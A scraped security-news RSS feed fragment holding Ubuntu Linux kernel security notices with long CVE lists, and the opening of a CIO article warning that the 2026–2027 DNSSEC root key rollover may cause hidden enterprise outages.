CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:33 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
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CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064,
CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071,
CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130,
CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309,
CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860,
CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033,
CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125,
CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168,
CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



